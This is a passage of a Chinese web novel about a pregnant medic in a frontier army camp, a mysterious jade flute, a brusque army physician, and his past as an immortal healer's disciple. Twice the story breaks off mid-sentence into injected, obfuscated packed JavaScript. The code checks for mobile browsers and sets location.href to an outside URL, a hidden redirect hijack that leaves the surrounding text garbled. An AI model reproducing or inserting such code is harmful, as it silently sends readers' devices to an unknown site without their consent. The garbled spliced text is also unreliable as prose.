我蜷缩在角落,浑身发抖。刚才还在狞笑的五个人,顷刻之间变成了几具狰狞的尸体,鲜血染红地面,空气中弥漫着浓重的血腥味。 我双手紧紧护住脖子,难保下一个死的不是自己。 笛声更加清晰,仿佛就在我耳边。我抬起头,看到一支玉笛悬浮在半空中,散发着淡淡的青光。眼睛望过去,定睛在玉笛身上,渗人的笛声戛然而止。 “神器?你是真的……” 但玉笛的任务还没结束。 明明已经是五具尸体,它仍然不肯放过他们,随着笛声曲调的变化,空气中隐隐出现泛着银光的东西,很像针灸用的银针。 但是……很粗。 铁棍粗细的银针比长刀更骇人,数以万计的银针从空中坠落,猛地插入五具尸体上。 我能清晰地听见皮肉被不断升起落下反复刺穿的声音,胃里一阵恶心,吐出胃里的东西。 玉笛缓缓落在我面前。我有些害怕,不敢靠近它,可它似乎对我没有恶意,或者说,我感觉不到危险。 于是颤抖着伸出手,接住了它。就在我触碰到玉笛的瞬间,它忽然失去了光泽,变得黯淡无光,像是普通的玉石一般。 “你不会……突然要了我的命吧?” 和白梅步摇一样,玉笛也没有理会我。 我刚想喊它,就听见不远处传来一阵沉重的脚步声。 黑暗中辨不清来者,我立马将玉笛藏至身后,也不知道有没有插入腰间的腰带上,暗处的人已经走进。 一个男人从黑暗中走了出来。他穿着一身厚重的铠甲,面容冷峻,眉宇间带着几分威严。 男人的视线在五具尸体上稍稍做了一会儿停顿,蓦地看向我,眼底的怒气显而易见。 他取下一旁的火把,火把光芒迫近,照亮我的脸,灼热之感刺痛我的脸。 看他坚实的手臂和腰间的长剑,他只需轻轻拔剑出鞘,我随时都可能成为一具尸体。 我抬眼对上他的视线,冷光将面前男人的棱角勾勒的分明。 随即他背过身去,沉稳略带怒气的声音响起:“整理好衣领。” 我咽下一口气,低头合上胸前被扯乱的衣襟。 “然后,跟我来。” 我完蛋了…… 48. 胡笳羌笛 男人从浓墨般的夜色中踏出,五具尸体横亘在我们之间。苍白的月光将他的影子拖曳成一柄长剑,森然刺入沙地。 “你是新来的女医官?” 他的声音比想象中温和,却像一把薄刃贴着我的脊背滑下。 我喉头痉挛,猛地弯腰干呕,酸水混着血丝溅在沙土上,洇开一片暗红。 远处亲兵举着火把奔来,骤然的火光撕开黑暗,映出满地狼藉。 “将军!西北哨岗……这是?!” 男人抬手截断禀报,腕甲在月色下泛着冷光。 “拖去验尸帐。” 他转身,阴影覆上我的脸,冷声道:“你,跟我来。” 主帐的门帘被夜风掀起,我踉跄着跟进去,膝盖一软惊险中撞上兵器架。一柄环首刀铮然坠地,被贺祈骁反手抄住,刀柄在掌心转了个弧,稳稳归位。 “贺祈骁,定边军主帅。” 他背对着我突然开口。 “姑娘不必怕,我只问实情——那五个人,怎么死的?” 火盆噼啪炸响,映得案头边防图上的朱砂标记如血欲滴。帐外传来尸体拖行的闷响,像钝刀刮着耳骨。 他推来一碗热茶,陶碗粗糙的纹路硌着我发抖的指尖。 “不、不知道……他们突然就……我不过是想去寻床被褥……” 护甲重重磕在案几上。我瑟缩着闭眼,听见帛卷展开的窸窣声。 “三日前,河西村三十七口暴毙。同一日,押送姑娘的车马,正好停靠在河西村附近吧。” 这是要将莫须有的罪名一并扣在我头上? “尸体均被细线勒死,身上还有密密麻麻被银针扎过的痕迹。” 他指尖点在某处朱批,叩出沉闷声响。 帐外狂风啸叫,如百鬼夜哭。 我攥紧衣摆,喉间涌上腥甜:“将军若认定是我……” “你做不到。” 茶壶突突冒着白汽,隔开他骤然松融的目光。 “你连这茶盏都端不稳,何来杀死五个人的力气。” 贺祈骁饮下滚烫的茶,眯眼细细打量我,利刃般目光最终落在我始终用手护住的小腹上。 “难道你——” 帐帘猛地掀起。宁安桥挟着雪粒子闯入,目光在我凌乱的衣襟上一触即离。 “尸首颅骨有虫蜕,是血线蛊。”他递上铜盘,半片蝉翼似的蜕壳在烛光下泛青,“虫卵入饮食,三年方发作。可能……是那个时候留下的。” 哪来的蛊虫?分明是玉笛洞穿天灵! 我心乱如麻,却见贺祈骁摩挲着虫蜕,再抬眼时竟含了三分笑: “楚姑娘舟车劳顿,新被褥稍后送去医帐。塞简陋,只能委屈姑娘暂住大营了。” “谢……谢将军。” 远处焚尸的焦臭味混着宁安桥身上的苦艾香,转过粮草垛时,我猛地拽住他的衣袖,提到嗓子眼的心还在如雷鼓动,无法平息。 “谢谢宁医师……那些人……当真是蛊?” 暗淡的眸子映出我狼狈的倒影,无情地拨开我抓住他的手。 “自然是——”他故意拉长尾音,月光爬上他淡漠的眉眼,“假的。” 宁安桥这是直截了当地坦白他对大将军说了谎吗? 从他袖中露出半截青玉色管身,消失的神器此刻竟在他掌心泛着幽幽月光。 他将玉笛塞回我手中说:“但将军需要个说法。” 更鼓声从瞭望台荡开,惊起夜枭掠过残月。 “将军不会怀疑你的。不过探探你是个什么人,放不放心留你在此。” 我怔愣片刻,小跑着跟上他,不解地问道:“那你何必编谎?” 他停下脚步,八尺壮男离我仅一步之遥,我必须抬头才能看到他的眼睛,压迫感更甚。 他居高临下地看着我,不起波澜地说道:“比起神仙术法,蛊术,更有说服力,不是吗?” 我心里紧张地拧成一团,将手中的玉笛握得紧紧的。 神仙术法……他如何知道的…… “东凉擅巫蛊之术,上至皇帝下至平民百姓,皆信鬼神。曾经营中也发生过类似的事情,以此为借口,更能获得将军的信服。” “原来如此……” 突然“嚓”一个声音从我脚下传来,我被惊得冷汗都忘了怎么冒,惊叫着一把抓住他的手臂,往他身上躲了躲。 无情的声音从头顶落下,伸手推开我:“一条蛇而已,大惊小怪。” “……” 一条蛇,而已?!我居然踩到了一条不知死了多久已经风干的蛇? 我默默压下自己惊惧的心情,用无声的沉默来假装自己不害怕。 “记得撒一些驱蛇虫的药粉在门口。” “嗯……” “你不会不知道驱蛇虫用什么药吧?” “嗯……” 确实不知道,但我有师尊留给我的书,翻一翻指不定有答案。 宁安桥突然转过来抓住我的手腕往他身前一带,惊得我又差点喊出声来。 “走路要看路。” 我低下头,原来是自己差点踩到一根木棍。宁安桥很快松开我,没再说话径直回了自己的住处。 塞北的风吵得根本睡不着。 我蜷在咯吱作响的行军榻上,忽明忽暗的铜火盆将木架子上的瓶瓶罐罐影子抻长,扭曲成戈矛林立的鬼魅。身下垫的狼皮隔着一层陈旧阴湿的粗麻布,粗粝毛茬扎进腿弯。 身体的不适折磨着我。 “别怕,娘亲不会让你有事的。” 我对着虚空呢喃,恍惚想起玉笛出现时的画面。 为何会在那时想起柳砚清的脸?是因为心怀愧疚吗? 绝世仙骨,星君下凡……这便是我与他的命运吗? 我翻过身,额头抵上手腕间的玉石。不敢呼唤他的名字,怕惊扰了他。 可是……可是…… “我好想你啊……砚清……” 晨雾未散,我攥着假装要洗的床单走向校场。昨日微妙的气氛中,贺祈骁怕是已经看穿了我的秘密。 高台上,贺祈骁玄甲覆霜,正冷眼扫视操练的新兵。二将军贺祈安的喝令声震得沙尘飞扬。 躲在粮车后,信州茶馆的闲话突然浮现—— “要说贺大将军的姻缘啊,那可是金玉裹着黄连!不亚于三将军与公主的跌宕爱情故事哦!” 那日我坐在角落吃茶听趣闻,不止是说书人,就连台下的茶客都说得眉飞色舞。 “陈员外当真豁得出去,把嫡女塞进贺府当妾,也不怕辱没门楣?” “你懂个屁!” 胖商人往地上啐了口瓜子皮。 “贺家手握兵权,常年驻守边疆。皇帝只有一位待嫁的公主,若非东凉人在环洲城外的埋伏,清漪公主肯定嫁给三将军,说都不用说!” “一妻一妾有什么用,自从大将军的三弟死后,他可再没离开过边疆呢。”说话人突然放低声音,“我听说,是为了查明当年三将军真正的死因,报仇雪恨。” “什么?不是暗杀?!” “什么真的假的死因,近些年东凉蠢蠢欲动,我看,是要大干一场咯。” 身旁之人咂嘴摆了摆手,“东凉新上任的大将军,可厉害了,贺祈骁都甘拜下风。三将军尚可与之一战,大将军嘛……只能说‘廉颇老矣’咯。” 一旁人手抵着下颌,发出疑惑:“可我怎么听说,那少将军的死和东凉皇帝有关?莫非故意挑起战争?东凉势力本就在咱赵国之上,难不成——” “诶诶诶!这可不能胡乱说啊。”说着,说话人手刃划过脖颈,“小心掉脑袋。” 思绪回到眼前。 “所有人打起精神来!马上入冬了,不想在这荒漠冻死就练起来!” 底下银甲二将军抱拳领命。 贺祈安,定边军指挥使,贺祈骁的二弟。 生得一副春水映梨花的清隽样貌,眉眼轮廓比他大哥柔和三分,未语先含三分笑,斯文得不像带兵打仗之人。 我甚至怀疑宁安桥和贺祈安的身份是不是互换了。足智多谋,我看来该叫他“赵国周瑜”。 砂砾突然迷了眼,我再抬头时高台上已空无一人。 “楚姑娘这是在窥探军情吗?” 贺祈骁的声音如刀抵在后颈,我浑身僵住。 他何时来的?! “不是……”我低头行礼,脚步凌乱地后退,“我只是路过……打扰了将军,这就离开!” 我快步离开,生怕跑慢点,就会没命。 想问的话也没敢问出口。 罢了,妇道人家之事,他一个大将军不会无聊到跟谁提起。 刚跑出沙场,我便与从营帐内走出来的宁安桥撞了个正着。他身形高大,像一座山般挡在我面前。我一时没站稳,踉跄着险些摔倒。 宁安桥伸手扶住我的肩膀,力道大得让我感到差点以为胳膊要被他拧断。 “去哪了?” “……方便去了。” 他冷哼一声,松开手说道:“事情忙完了?就四处闲逛?病房还有几位的药没熬出来,快去。” 叽叽歪歪的,又不是不弄。 我撇了撇嘴,心中一阵委屈,只得低声应道“是。” 军营里不成文的职位排名,或者说危险排名更恰当。贺祈骁第一,贺祈安第二,宁安桥第三。 至于一位医师怎么能跻身前三名的,答案显而易见。 宁安桥不止对我凶,躺在病床上垂死挣扎的士兵也不放过。该骂的该凶的,一个不放过。 敢怼回去?那就搁床上等死吧。 唯一的医师,就有这等权利。 炉火明灭间,药汁突然沸腾溢出,烫得我手背一颤。 这已是今日第三次了,害喜让药材的苦味变得难以忍受,即使用白布掩住口鼻,喉头仍不住发紧。 我笨拙地擦拭着手背。 烫伤的疼痛反而让人安心,至少此刻,这方寸药房是安全的。 “宁医师!鲍渔他——” 来者冲进药房叫人时,我手中的蒲扇差点惊落。 年轻的士兵蜷缩在病榻上,脸色苍白,额头布满冷汗。他的手紧紧抓着胸口,呼吸急促。 我快步走到床边,俯身轻声问道:“哪里不舒服?” 士兵紧闭着眼,脸上露出痛苦的表情,嘴里含糊地嘟囔着:“痒……” “痒?哪里痒?” 胸闷气短全身发痒?这是什么症状,以前学过的书上有见过吗? 病人苦不堪言,却在听见我声音的瞬间突然坐起。 “姑、姑娘?!咱们军营啥时候来女的了?” “啊?我来有段时间了……” 他咧嘴一笑,猛地扯开衣襟:“那麻烦姑娘给我好好看看,我这后背痒得难受。” 猝不及防,视线避无可避,一下子我什么都看到了。 胸膛和后背布满了大大小小的伤口,有些已经结痂,有些却还在渗着血水,甚至有几处已经溃烂,隐隐能闻到一股腐烂的臭味。 “我知道了……你先赶紧把衣服穿上。” 他却毫不在意,侧过身,把后背对着我:“穿上怎么看?姑娘看看我这后背怎么一回事?” 我强迫自己冷静下来,目光落在他后背的伤口上。溃烂的伤口触目惊心,腐烂的气味让我忍不住皱了皱眉。 “你先趴着,不要乱动,我马上来给你上药。” 他倒是听话,乖乖地趴了下去。 “哎,医师姑娘,我这人怕疼,别又拿针扎我啊。” “放心吧,只有用刀的份,针灸派不上用场。” 我快步跑回药房,目光迅速在架子上扫过。是该先做膏药敷一敷,还是先取刀把溃烂的部分割掉呢? 正手忙脚乱,身后突然传来一道冷冰冰的声音:“你干什么?” 我惊了下,手里的药瓶差点掉在地上。宁安桥站在门口淡漠地打量我。习以为常的我收回视线,继续翻阅《鹿山本草玄录》。 “有个士兵后背的伤已经开始溃烂,得赶紧处理。” 他又是不屑地冷言:“你不是只认得些草药,知道怎么处理伤口?” “我……我有师尊给的医书,上面兴许有方法。” 我不服气地举起手里的书晃荡着给他看。 “师尊?柳仙人吗?” 我惊奇地看向他,惊讶道:“你认识砚清?” 他没有回答我的问题,走到一边的药架子前,径直取下药物工具。 “那本书上面没有写刀枪伤口的处理办法。鲍渔的事交给我,你去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊。”他苦笑着附和,“嗐,死了也好,免得天天担惊受怕的。” 一唱一和说完,两个人都笑了。 我却笑不出来。不明白他们为什么明知前方生死未卜,还能如此淡然。 “说什么屁话呢……” 闻声,他们一齐惊愕地望向我。 “不是应该祈祷自己活下去,活着回去见娘亲吗?”我深吸一口气,分别看向他们,“你们娘亲还等着你们回家团圆,你们却在这里说这些窝囊话,就这么想死吗!” “姑娘你……生气啦?”那个叫鲍渔的挠了挠头,略显局促。 另一名士兵笑着解释道:“我们不过缓和气氛嘛。谁会想死呢,我还没成亲了,还没摸过女人,我才不要这么早就死。对吧?鲍渔。” 然后一巴掌呼在鲍渔的人头上。 “对对对。”鲍渔捂着头,“单老二!你问就问,打我干嘛!” “缓和气氛嘛,你看姑娘都要哭了。再说了,挨刀子都不怕,我他娘就扇了你一下,怎么还矫情起来了。” 吵吵嚷嚷却充满生气。 或许,他们并不是真的看淡生死,只是用这种方式来掩饰内心的恐惧和不安。 我轻轻叹了口气:“天下没有那个娘亲愿意看着自己的孩子同自己生离死别……你们的娘亲,一定在等你们回家。” 哪怕还只在腹中,我也多么希望再见到他。 两人沉默了会儿,随后相视一眼笑了笑。 “聂大哥最后的愿望便是马革裹尸还,想让娘亲见自己最后一面的愿望……” 鲍渔的话戛然而止,转头笑得没心没肺。 “姑娘说得对,我们得活着回去。不然,娘亲该多伤心啊。” 我也无奈地跟着笑。鲍渔见我不生气,有张扬着要把衣服脱了给我看伤口。 “不看!把衣服穿上!” 【阴间地府】 确定北雷或者东婝没跟来,方大仙踏着阴风来到地府门前,久违的黄泉路上鬼火幽幽。 阎王殿前大门紧闭,青灰色的香灰铺了满地,像是许久无人踏足。 审判亡魂之地怎会如此冷清? 方大仙眉头微皱,隐隐察觉什么不对劲,刚要迈步,一道黑影倏然拦在身前,黑无常身形如雾,无声无息地挡在他面前。 黑无常拱手,袖口露出半截焦黑的锁链,“大人近日不便见客,还请大仙改日再来。” “吾的孙儿呢?吾要见他。” 方大仙语气沉沉,脚下未停,青灰被踏出浅浅的脚印。 黑无常身形一晃,再次拦在他面前:“恕小仙愚钝,不知大仙所指何事。” 方大仙浓眉一挑,右手猛地向前一挥,袖袍翻卷,带起一阵阴冷的劲风。 “休要装糊涂!吾知道你们不敢动星君,夺走了绝世仙骨一胎。吾要见阎王。” “大仙明鉴,此乃地府与南风仙子立下的契约。况且那灵胎尚未成形。” “吾不想与你多费口舌,叫阎王亲自来见吾!” “大仙现在不便见客,大仙请回吧。” 方大仙眼中寒光一闪:“骗得了无知的南风,骗不了我。当年南风真的与你做了交换?做了可拿胎儿交换的交易?” 黑无常沉默一瞬,声音低了几分:“当年交易确实没点明,不过,仙子说了,世间万物皆可。绝世仙骨重现人间,地府岂能错过这等机缘?” 方大仙目光如刀,直刺黑无常:“阎王去哪儿了?阎王殿何时落到这般荒芜之境?” 黑无常侧身避开方大仙的视线:“地府不同人神两界,这里都是已死之人,独有亡魂游荡在此。人神可复生,鬼就只能投胎转世。” 方大仙预感不妙,“阎王到底怎么了?” 黑无常转过身去,幽幽道:“大仙进来操心的事儿太多,还是先顾好燃眉之事吧。绝世仙骨,您会见到他的。” 方大仙眼中怒意翻涌,一字一顿:“你们……你和砚清,究竟在谋划什么?” 灰黑色的脸上突然露出渗人的笑意。 “待仙骨成型,神鬼两界,将迎来颠倒天地的王。” 49. 秋风惊绿 裙摆不知何时沾上了一片暗红的血迹,心中微微一紧,许是那晚上受伤沾上去的,应该不会出什么问题吧。 趁着阳光正好,我悄悄将裙子换下,端着木盆溜到药房背后清洗。这里少有人来,晾晒衣物也不易被人察觉。风少虽大,但衣裳干得很快,不会被人发现的。 边疆的天,冷得像是能把人的骨头冻成冰碴子。我蹲在药房后的水缸旁,将裙子浸入水中,手指刚一碰到水面,就被刺骨的寒意激得缩了回来。 “嗷唔!好冰!” 我咬了咬牙,心里默念:“我可是人死在面前都面不改色的人,洗个裙子算什么!” 可这水,真是冷得让人想骂人。 硬着头皮将裙子按进水里,血迹在水中晕开。我用力搓洗,手指冻得通红,几乎失去了知觉。 好不容易将那片暗红彻底洗掉,我搓了搓冻僵的手,正打算离开,却发现不远处一抹与荒漠格格不入的物体。 我瞪大了眼睛,以为自己看错了,抬手揉了揉再定睛一看。 “仙鹤?!” 我立马捂住自己的嘴,生怕被人听见。仙鹤听见我的声音,振翅飞到我面前,怕我认不出它嘴里不忘叼着那条浅蓝色的羽带。 “你为什么……难道师尊他?!” 仙鹤听懂了我的话,摇了摇头。它嘴里的羽带渐渐消失,变成一封信笺。 我纳闷它从哪里叼来的,接过手里,赫然发现信封上写的颜卿二字。 “颜卿给我写信了?” 仙鹤点头。 “可……为什么是你送来?” 仙鹤抖动着翅膀,似乎在回答我的问题。但我哪儿能看懂它的意思,蹙紧眉头,茫然地看着它。仙鹤急了,对着天鸣叫了一声。我吓得赶紧挥舞手臂招呼它别叫了,待会儿把人叫来怎么办! 叫声散去,熟悉的彩蝶翩飞而来,停在我伸出的指尖上。 “仙蝶?仙鹤叫来的?” 仙鹤点头,然后陌生的少年音在我脑海里响起:“送信来的马车在半路坏了车轱辘,我发现后便叼着信先送来给你。” 仙鹤……说话了?还是直接入脑的声音……我大惊失色地僵在原地,难以置信地盯着眼前的仙鹤和仙蝶。 “太不可思议了……” 手里的信被我无意识攥紧,想起来时差点被我揉成一团。 颜卿居然给我写信了。我欣喜地坏在心口,满怀感激地向仙鹤和仙蝶深鞠一躬。 “对了,我也想给颜卿写信,你们可不可以在军营稍远的地方,不被发现的地方等我。晚上夜深了,我写完后麻烦你们送去信州。” 仙鹤点头答应。 突然,听见营帐另一头有人唤我。 “楚风?” 是宁安桥的声音。 “来了!” 我应了声挥手示意仙鹤和仙蝶速速消失,快步出现在宁安桥面前。见他站在药房门口,手中捏着一张纸,目光淡淡地扫过我,又落在我来的方向。 “这是伤寒热病的药方,你照着煎了,送去给伤兵营。” 他将药方递给我,语气一如既往地冷淡,但不知是不是我的错觉,他的目光和说话的态度似乎都比之前柔和了些。 我接过单子,点点头:“好,我这就去。” 正要转身离开,他却忽然开口:“你在后面做什么?” 我顿了顿,答道:“洗衣服。” 他瞥了一眼竹竿上的裙子,唇角勾起一抹讥讽的笑:“荒漠里还这么讲究?” 我抿了抿唇,没有接话,只是将药方折好塞进袖中,转身朝药房走去。宁安桥的话像一阵风,吹过便散了,我并未放在心上。 进了药房取出药材,我开始按照药方煎药。忽然察觉到一道目光落在身上,抬头一看,宁安桥不知何时跟了进来,倚在门边,目光沉沉地看着我。 我被他看得有些不自在,忍不住摸了摸脸,问道:“我脸上有什么吗?” “有。” 我愣了一下,连忙用手在脸上胡乱抹了几下,却什么都没摸到。 “有什么?” 他没有回答,迈步走了过来。我下意识地屏住呼吸,看着他越走越近,直到停在我面前。他抬起手,修长的手指从我头顶轻轻捻起一根黄白相间的猫毛,捏在指尖晃了晃。 “哦,原来是这个。”我松了口气,笑着打马虎眼,“它晚上睡我头顶,我也没注意。谢谢宁医师。” 宁安桥似笑非笑地看了我一眼,随手将猫毛丢掉,转身走到一旁的药柜前。 今天他好像没什么事做,一直待在药房。我被他看得有些不自在,手中的动作也不由得慢了下来。斑驳的光影落在他的侧脸上,勾勒出分明的轮廓。 宁安桥举手投足间都带着一股凌厉的气势,与寻常医师的温润形象截然不同。 大概是常年待在荒漠的缘故,他的肤色偏深,像是被风沙打磨过的古铜。鼻梁高挺,下颌线条如刀削般硬朗,唇角总是挂着若有若无的冷意。 此刻,他正低头整理药材,修长的手指在药柜间轻轻拨动,布料下的肌肉线条若隐若现,结实而有力。 他的手腕微微转动,衣袖随着动作轻轻滑落,露出一截小臂,皮肤在阳光下泛着淡淡的光泽。 这样的他,明明该是个驰骋沙场的将军,却偏偏在这里摆弄药材。 我正偷看得入神,忽然一道无情的声音在药房的另一边响起:“专心做事,不要分心。” 我吓得赶紧收回目光,低头盯着药罐。他明明没有看我,怎么知道我在偷看他? “那什么,宁医师?你……认识医鹿山的柳仙人吗?” 他闻言,如深潭般沉静的目光,却在这一刻骤然波动。 “怎么突然问起他?” 我指了指桌上那本医术:“你似乎对这本书很熟悉。” 《鹿山本草玄录》,唯有医鹿山才有,宁安桥若对此书了如指掌,必然与医鹿山有着千丝万缕的牵连。 宁安桥沉默片刻,指尖轻轻抚过书页说道:“柳砚清……是我师尊。” 话音落下,屋内一时寂静。 “你居然是他的弟子?!” 【又拂清柳】 六岁那年,宁安桥的人生轨迹在一场疾病中轰然崩塌。 母亲病重,村里的郎中束手无策,摇着头说:“除非能找到医鹿山的仙人,否则……”后面的话,宁安桥没听清,也不敢听清。他只知道,母亲不能死,绝不能。 医鹿山是传说中的仙山,云雾缭绕,神鹿隐现。传说只有得到仙人指引,在山中偶遇神鹿的人,才能上山求医。 宁安桥不懂这些传说,但这是他唯一的希望。 于是,某个清晨,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056762|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背起一个小小的包袱,里面装着几块干硬的饼子和一件母亲的旧衣,踏上了去医鹿山的路。 医鹿山很远,远得像是天边的幻影。 宁安桥走了一天又一天,脚底的水泡破了又结痂,结痂了又磨破。鞋子早已破烂不堪,衣服也被荆棘划得支离破碎。可他不敢停下,生怕耽误一刻,母亲就会离他更远一步。 终于,他站在了医鹿山的山脚下。抬头望去,山峰如剑,直插云霄,峰顶隐没在缥缈的云雾之中,与天接壤。 宁安桥的心中燃起了一丝希望,他咬了咬牙,迈步走进了山中。 山中雾气更浓,如同一层无形的屏障,将外界隔绝。脚下的石阶被青苔覆盖,湿滑而古朴,每一步都像是踏在岁月的痕迹上。四周静得可怕,连鸟鸣声都消失无踪,唯有风声在耳边低吟,似是在诉说着什么古老的秘密。 偶尔,几片落叶从头顶飘落,轻轻擦过他的肩头,宛如山灵在无声地注视着他。 远处,隐约传来溪水潺潺的声音,却不知源头在何处,似乎这山中的一切都在若有若无间,虚实难辨。 宁安桥走了一天,又走了一天,一只神鹿的影子都没见到。 干粮已经吃完了,他又饿又冷,只能靠山间的溪水和野果充饥。 夜晚的山风刺骨,他蜷缩在一棵大树下,紧紧抱着母亲的旧衣,眼泪无声地滑落。 “娘,你一定要等我……” 就在他快要撑不下去的时候,忽然听见一阵清脆的铃声,像是从九天之外传来,空灵悠远。 他勉强抬起头,视线穿过浓重的雾气,看见一个白衣男子立于不远处。 那人衣袂随风轻扬,与山间的云雾一同流动,周身笼罩着一层淡淡的光晕,恍若从画中走出。 男子的面容清俊如月,眉目如远山般疏朗。长发如墨,随意披散在肩头。 仙人的目光落在宁安桥身上,眼中似有怜悯,却又如深潭般平静无波,看透了世间一切,却又与这世间毫无瓜葛。 宁安桥怔怔地望着他,一时忘了呼吸。 山风拂过,不见梅林,却有一阵梅花的幽香,与那人的身影一同,深深印入他的眼底。 柳砚清看着瘫坐在地上的宁安桥,眼中浮现出一抹不忍。他缓缓蹲下身,衣袍如云般垂落在地,与周围的尘土形成鲜明对比。他的动作轻柔,仿佛怕惊扰了这个已经濒临崩溃的少年。温柔地询问:“你是误入山林之人,还是寻医之人?” 宁安桥这才回过神,额头猛地扣在泥地上,十分激动地磕头恳求:“请仙长救救我母亲!母亲病重,我求了所有的大夫,都说只有医鹿山的仙人能救她!” 柳砚清沉默片刻,缓缓启齿:“……凡人自有自的命数。” “我知道!”少年嘴唇颤抖着,几度说不出话来,“就请仙长……看看她吧。” 是生是死,总要面对。少年的心几近崩溃,柳砚清也不忍看少年被绝望压垮,走上寻死之路。 柳砚清的视线往下挪了挪,沉思起来:如果她在,一定会毫不犹豫答应这孩子吧。 脑海里的人不久前奔赴旷野,为求起死回生,坠入江河,至今仍在蓬莱第几宫昏迷不醒。自己虽然抢在魂魄坠入地府前救下她,可还是晚了一步。 一时之间,跪地不起的少年,心思沉重的仙人。 “好,我陪你去看看。” 50. 昨日落花 院中的风轻轻拂过,卷起几片枯黄的落叶,最终落在宁安桥的脚边。 柳砚清不过隔着黄土墙,便已察觉到屋内之人的气息。 是十日前,隐约还能感知到阴差来过此处的气息。 “你在屋外等我。” 说罢,柳砚清只身进入屋内。床上的母亲早已没了气息,身体也散发出令人窒息的味道。 仙人拂袖,将逝去之人安葬。 在山中遇到少年时,他怀中抱着的衣物留有将死之人的气息。 母亲是不想孩子亲眼看着自己离世,所以要他去医鹿山求医求助的吗。 走出院外,少年的眸中闪烁着点点光芒。 柳砚清伸出手,修长的手指轻轻覆在宁安桥紧握的拳头上,掌心温暖而有力。 宁安桥的手冰冷而颤抖,指甲深深嵌入掌心。 柳砚清没有见过自己的亲生母亲,医仙葛榆独自抚养他长大。他不知道与亲人生死相隔的感受,但他知道与深爱之人分离的痛。 柳砚清的声音低沉而温和,恰似山间的清泉,缓缓流淌进宁安桥的耳中。 “你的母亲……已经走了,但你还活着。她一定希望你能好好活下去。” 宁安桥的身体猛地一颤,眼泪无声地从眼眶中涌出,顺着脸颊滑落,滴在脚下的泥土里。 他的嘴唇微微颤抖,只有喉咙里传来低低的呜咽。他的目光空洞而茫然,视线穿透了眼前的柳砚清,落在了某个遥远的地方。 那里,有母亲的笑容,有她的叮嘱,还有她温暖的怀抱。 可这一切,如今都成了再也触碰不到的幻影。 宁安桥的双腿一软,整个人跪坐在地上,双手撑在泥土中,指尖深深陷入地面。 他的肩膀剧烈地抖动着,泪水模糊了他的视线,他却倔强地不肯闭上眼睛,仿佛只要睁着眼,就能将母亲的模样永远刻在心底。 柳砚清站在一旁,静静地看着他,没有出声打扰,只是目光中多了一丝难以言喻的复杂情绪。 他知道,有些痛,只能靠时间去抚平,而此刻的宁安桥,需要的正是这样一场毫无保留的宣泄。 许久,柳砚清蹲下身,手指轻轻掰开宁安桥紧握的拳头,将他掌心的泥土一点点拂去。指尖触到宁安桥掌心的伤口,微微一顿,随后从袖中取出一方素白的帕子,轻轻为他擦拭。 “你叫什么名字?” 柳砚清再次问道,声音比之前更轻,像是要和眼前的少年定下某种契约。 “宁……宁安桥。” 柳砚清点了点头,目光依旧停留在他的脸上,说道:“从今以后,你便跟着我在医鹿山学医。” 他拂去少年脸的灰尘。 “医者手中握的是命,心中装的是愿。学医,不止是为了悬壶济世,找到养活自己的路,而是为了有朝一日,能护住你想护的人,救回你想救的命。” 仙人的指尖还沾着一点泥土,却在此刻显得无比温暖。 宁安桥怔怔地看着那只手。 他犹豫了,最终还是紧紧回握住了柳砚清的手。 那只手的力量将他从地上拉起,也将他从无尽的黑暗中拉了出来。 从那以后,宁安桥跟随柳砚清回山,成了柳砚清的大弟子。 柳砚清教他医术,教他识药辨草,也教他如何面对生死。 这是三百多岁的仙人第一次主动收徒,定是受了她的影响。 宁安桥不是柳砚清的第一个徒弟,确实最刻苦努力的那个。 同门弟子都争着叫他安桥哥哥,自先入门的如雪一次偶然喊出大师兄后,宁安桥顺理成章成了柳砚清座下的大弟子。 宁安桥也不负柳砚清的期待,短短几年边学成医鹿山所有的课业,包括但不限于医术、文学、军事等。 尽管如此,宁安桥的心中,始终有一道无法愈合的伤。 那道伤,像是深埋在他骨血里的刺,平日里不显,在夜深人静时隐隐作痛。 他擅长用冷漠的外表掩饰自己,将所有的情绪深埋心底,不愿让任何人看穿他的脆弱与伤痛。 那张清秀的面容上,渐渐褪去了少年的稚嫩,取而代之的是一层淡淡的疏离与坚毅。逐日健壮的躯体,使他看上去更强大。 转眼间,宁安桥在医鹿山度过了十五年岁月。 他学成下山,没有回到那个充满回忆的村子,也没有选择进宫做一名御医,而是主动请缨去了边疆,做了军医。 “医者之道,不在于救一人,而在于救天下人。纵使前路荆棘,我亦愿以身为灯,照亮众生之苦。” 这句话是他下山前,在医仙殿前默默许下的誓言。 隐去自己医鹿山柳仙人弟子的身份,宁安桥下山后直奔边疆,以过硬的医术赢得了贺祈骁的信任,留在定边军。 但宁安桥知道,他救不了所有人,也救不了那个最想救的人。 边疆的风沙凛冽,吹得人睁不开眼。 营帐外,伤兵的呻吟声此起彼伏,宁安桥穿梭其间,手中的银针与药草成了他唯一的武器。 他救了许多人,可每当他低头看着那些染血的绷带,眼前总会浮现出那个人的面容。 那个人若是临终前在他身边,或许结局截然不同。 “救活一条人命,故事都将改写……” 宁安桥不是没想过求师尊救活那人,只是时至今日,那人的尸体仍未找到。 【又见东风】 我搬出泥炉晒秋阳,躲在晾衣的阴影里。连日的阴雨终于放晴,想必今日无碍—— 嘀嗒。 雨点猝不及防砸在脸上。我慌忙抢收药罐衣物,竟忘了腹中胎儿,直到隐痛袭来才惊觉。 “跑这么急做什么……” 撑着桌沿坐下时,冷汗已浸透额发。掌心抚过平坦小腹,那里正悄然孕育着生命。 军营表面还算安稳。贺祈骁打过招呼,士兵们会帮我搬药箱,点头问好。但转角总能听见窸窣议论: “听说她是将军亲自安排进来的,也不知是什么来头……” 